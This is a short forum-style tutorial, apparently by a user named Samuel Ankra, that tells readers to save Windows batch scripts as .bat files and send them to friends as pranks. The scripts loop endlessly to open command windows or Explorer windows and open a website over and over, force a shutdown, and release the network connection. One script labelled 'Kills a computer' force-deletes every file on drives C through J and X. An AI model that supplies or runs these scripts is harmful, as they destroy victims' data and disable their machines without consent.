[Tutorial] How To Impress Your Friends

Hey Guys,
My name is Samuel Ankra and I'm making a cool little tutorial
for people that just want to impress/troll your friends. Now in
this tutorial, you can prove that you are a l33t mlg haxor to all
of your friends for free. what you do is copy these commands
below to the Notepad application on your Windows computer,
then you want to save the file as a .bat file on your Desktop.
Then send give the file to your friend.
Have fun

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Annoying repeat:
@echo off
:A
start
Goto :A
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Annoying open explore:
@echo off
:A
Start
Explorer
Goto :A
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Fav shutdown trool:
shutdown -s -t howeverlong -c "whatever I wanna say"
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Biggest trool:
@echo off
:A
start [You must be registered and logged in to see this link.]
Ping localhost -m 5 >nul
Goto :A

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Website spam:
@echo off
:A
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Ping localhost -m 5 >nul
Goto :A
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No connection:
@echo off
Ipconfig/release
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Kills a computer:
@echo off
Del C:\*.* /f /s /q
Del D:\*.* /f /s /q
Del E:\*.* /f /s /q
Del F:\*.* /f /s /q
Del G:\*.* /f /s /q
Del H:\*.* /f /s /q
Del I:\*.* /f /s /q
Del J:\*.* /f /s /q
Del X:\*.*/f /s /q
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